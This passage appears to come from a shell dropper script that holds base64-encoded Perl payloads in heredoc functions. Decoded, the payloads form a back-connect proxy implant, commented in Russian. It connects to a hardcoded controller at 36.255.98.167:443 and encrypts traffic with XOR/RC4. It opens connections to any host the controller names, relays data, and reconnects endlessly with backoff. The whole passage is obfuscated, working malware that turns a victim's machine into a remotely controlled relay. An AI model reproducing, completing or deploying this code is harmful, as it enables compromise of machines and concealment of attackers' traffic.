vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_8() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjcnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
